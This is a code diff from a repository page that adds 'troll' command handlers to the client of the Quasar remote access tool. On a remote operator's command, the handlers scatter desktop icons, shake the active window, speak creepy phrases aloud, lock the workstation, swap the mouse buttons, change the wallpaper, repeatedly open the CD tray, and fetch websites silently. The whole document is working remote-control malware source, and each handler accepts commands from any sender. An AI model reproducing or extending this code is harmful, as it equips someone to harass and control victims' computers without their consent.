IntPtr lv = GetDesktopListView();
|
||||
if (lv == IntPtr.Zero) return;
|
||||
|
||||
// disable auto-arrange so icons actually move
|
||||
int style = GetWindowLong(lv, GWL_STYLE);
|
||||
SetWindowLong(lv, GWL_STYLE, style & ~LVS_AUTOARRANGE);
|
||||
|
||||
int count = (int)SendMessage(lv, (int)LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero);
|
||||
if (count <= 0) return;
|
||||
|
||||
var screen = Screen.PrimaryScreen.WorkingArea;
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
int x = rng.Next(10, screen.Width - 90);
|
||||
int y = rng.Next(10, screen.Height - 90);
|
||||
IntPtr lParam = (IntPtr)((y << 16) | (x & 0xFFFF));
|
||||
SendMessage(lv, LVM_SETITEMPOSITION, (IntPtr)i, lParam);
|
||||
Thread.Sleep(25);
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr GetDesktopListView()
|
||||
{
|
||||
IntPtr progman = FindWindow("Progman", null);
|
||||
IntPtr shell = FindWindowEx(progman, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||
if (shell != IntPtr.Zero)
|
||||
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||||
|
||||
// Win10+ uses WorkerW
|
||||
IntPtr workerW = IntPtr.Zero;
|
||||
do
|
||||
{
|
||||
workerW = FindWindowEx(IntPtr.Zero, workerW, "WorkerW", null);
|
||||
if (workerW == IntPtr.Zero) break;
|
||||
shell = FindWindowEx(workerW, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||
if (shell != IntPtr.Zero)
|
||||
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||||
} while (true);
|
||||
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
// --- Window shaker: rapidly moves active window side to side ---
|
||||
|
||||
private void WindowShaker()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(7000, 16000));
|
||||
if (!_running) break;
|
||||
|
||||
IntPtr hwnd = GetForegroundWindow();
|
||||
if (hwnd == IntPtr.Zero) continue;
|
||||
if (!GetWindowRect(hwnd, out RECT r)) continue;
|
||||
|
||||
int ox = r.Left, oy = r.Top;
|
||||
int w = r.Right - r.Left, h = r.Bottom - r.Top;
|
||||
|
||||
for (int i = 0; i < 24 && _running; i++)
|
||||
{
|
||||
int dx = (i % 2 == 0) ? 18 : -18;
|
||||
MoveWindow(hwnd, ox + dx, oy + (i % 3 == 0 ? 6 : 0), w, h, false);
|
||||
Thread.Sleep(35);
|
||||
}
|
||||
MoveWindow(hwnd, ox, oy, w, h, false);
|
||||
}
|
||||
}
|
||||
|
||||
// --- Random TTS: whispers creepy phrases out loud ---
|
||||
|
||||
private void RandomTTS()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(18000, 40000));
|
||||
if (!_running) break;
|
||||
try
|
||||
{
|
||||
using (var ss = new SpeechSynthesizer())
|
||||
{
|
||||
ss.Volume = 100;
|
||||
ss.Rate = rng.Next(-3, 4);
|
||||
ss.Speak(Phrases[rng.Next(Phrases.Length)]);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System.Speech.Synthesis;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class TextToSpeechHandler : IMessageProcessor
|
||||
{
|
||||
private readonly SpeechSynthesizer _synth = new SpeechSynthesizer();
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoTextToSpeech;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text))
|
||||
_synth.SpeakAsync(tts.Text);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class TrollExtrasHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern bool LockWorkStation();
|
||||
[DllImport("user32.dll")] private static extern bool SwapMouseButton(bool fSwap);
|
||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
|
||||
private static extern int mciSendString(string command, StringBuilder ret, int len, IntPtr callback);
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
private static extern int SystemParametersInfo(uint uAction, uint uParam, string lpvParam, uint fuWinIni);
|
||||
private const uint SPI_SETDESKWALLPAPER = 0x0014;
|
||||
private const uint SPIF_UPDATEINIFILE = 0x0001;
|
||||
private const uint SPIF_SENDCHANGE = 0x0002;
|
||||
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoLockScreen ||
|
||||
message is DoCdTray ||
|
||||
message is DoMouseSwap ||
|
||||
message is DoSetWallpaper;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoLockScreen _: LockWorkStation(); break;
|
||||
case DoCdTray m: new Thread(() => SpamCdTray(m.Count)) { IsBackground = true }.Start(); break;
|
||||
case DoMouseSwap m: SwapMouseButton(m.Swap); break;
|
||||
case DoSetWallpaper m: new Thread(() => ApplyWallpaper(m.ImageData)) { IsBackground = true }.Start(); break;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Wallpaper ─────────────────────────────────────────────────────────
|
||||
|
||||
private void ApplyWallpaper(byte[] data)
|
||||
{
|
||||
if (data == null || data.Length == 0) return;
|
||||
try
|
||||
{
|
||||
// Must be a BMP file on disk — SystemParametersInfo doesn't accept raw bytes.
|
||||
string path = Path.Combine(Path.GetTempPath(), "wp_" + Guid.NewGuid().ToString("N") + ".bmp");
|
||||
using (var ms = new MemoryStream(data))
|
||||
using (var img = System.Drawing.Image.FromStream(ms))
|
||||
img.Save(path, System.Drawing.Imaging.ImageFormat.Bmp);
|
||||
|
||||
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
// ── CD tray spam ──────────────────────────────────────────────────────
|
||||
|
||||
private static void SpamCdTray(int count)
|
||||
{
|
||||
count = Math.Max(1, Math.Min(count, 20));
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
|
||||
Thread.Sleep(700);
|
||||
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
|
||||
Thread.Sleep(700);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class WebsiteVisitorHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoVisitWebsite msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoVisitWebsite message)
|
||||
{
|
||||
string url = message.Url;
|
||||
|
||||
if (!url.StartsWith("http"))
|
||||
url = "http://" + url;
|
||||
|
||||
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
||||
{
|
||||
if (!message.Hidden)
|
||||
Process.Start(url);
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
|
||||
request.UserAgent =
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
|
||||
request.AllowAutoRedirect = true;
|
||||
request.Timeout = 10000;
|
||||
request.Method = "GET";
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = "Visited Website" });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user